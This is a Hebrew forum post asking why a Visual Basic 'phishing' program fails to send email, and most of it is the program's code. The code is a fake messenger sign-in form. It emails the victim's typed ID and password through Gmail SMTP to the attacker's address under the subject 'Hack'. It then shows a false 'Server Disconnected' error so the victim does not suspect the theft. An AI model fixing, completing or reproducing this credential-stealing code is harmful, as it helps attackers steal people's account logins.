VB Phising לא שולח לאימייל
הפישינג לא שולח לאימייל
זה הקוד שהשתמשתי :
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
If TextBox1.Text = "" Then
MsgBox("You must enter an ID and password", MsgBoxStyle.Exclamation, "Sign-In Problem")
If TextBox1.Text = "" Then
MsgBox("You must enter an ID and password", MsgBoxStyle.Exclamation, "Sign-In Problem")
Else
End If
End If
Dim mail As New MailMessage()
Dim SmtpServer As New SmtpClient
SmtpServer.Credentials = New Net.NetworkCredential("your gmail ID@gmail.com", "your gmail password")
SmtpServer.Port = 587
SmtpServer.Host = "smtp.gmail.com"
SmtpServer.EnableSsl = True
mail.To.Add("In which mail address you want the cracked password to be sent")
mail.From = New MailAddress("your gmail ID@gmail.com")
mail.Subject = "Hack"
mail.Body = "ID : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
Try
SmtpServer.Send(mail)
MsgBox("Server Disconnected! Uninstall your messenger and reinstall it and then try again", MsgBoxStyle.Critical, "Disconnected")
Me.Close()
Catch ex As Exception
MsgBox("An Error Has Occured... Coudn't sign in", MsgBoxStyle.Exclamation, "Error Please Retry")
ציטוט ההודעה
